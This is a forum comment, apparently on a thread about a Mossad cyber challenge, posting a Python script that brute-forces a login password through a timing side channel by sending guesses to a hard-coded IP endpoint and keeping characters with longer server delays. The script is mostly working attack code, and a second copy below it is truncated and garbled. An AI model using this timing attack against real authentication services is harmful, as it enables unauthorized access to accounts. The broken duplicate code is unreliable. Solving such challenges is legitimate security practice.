Comment on Israeli Mossad launches cyber challengeparentComments−rootux7yThat's the final (Still hackish code but does the work)import requestsCHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"URL = "http://35.246.158.51:8070/auth/v1_1"HEADERS = {'User-Agent' : 'ed9ae2c0-9b15-4556-a393-23d500675d4b', 'content-type' : 'application/json; charset=utf-8' }PAYLOAD ={}DISCOVERED_PASSWORD = "f"def check(chars): result_chars = [] for i in range(len(chars)): PAYLOAD['Seed'] = "d14236b60e0f4aef94499cb648a5f522" PAYLOAD['Password'] = DISCOVERED_PASSWORD + chars[i] r = requests.post(url=URL, json=PAYLOAD, headers=HEADERS) result = r.json() delay = result['Time'] if(delay > len(PAYLOAD['Password'])*30000000): result_chars.append(chars[i]) return result_chars for i in range(40): res = check(CHARACTERS) for i in range(10): res = check(res) print(res) DISCOVERED_PASSWORD += res[0] print("FOUND ONE MORE! {}".format(DISCOVERED_PASSWORD)) print(DISCOVERED_PASSWORD)
Comments
That's the final (Still hackish code but does the work)
import requests
CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"
URL = "http://35.246.158.51:8070/auth/v1_1"
HEADERS = {'User-Agent' : 'ed9ae2c0-9b15-4556-a393-23d500675d4b', 'content-type' : 'application/json; charset=utf-8' }
PAYLOAD ={}
DISCOVERED_PASSWORD = "f"
def check(chars): result_chars = [] for i in range(len(chars)): PAYLOAD['Seed'] = "d14236b60e0f4aef94499cb648a5f522"
for i in range(40): print(DISCOVERED_PASSWORD)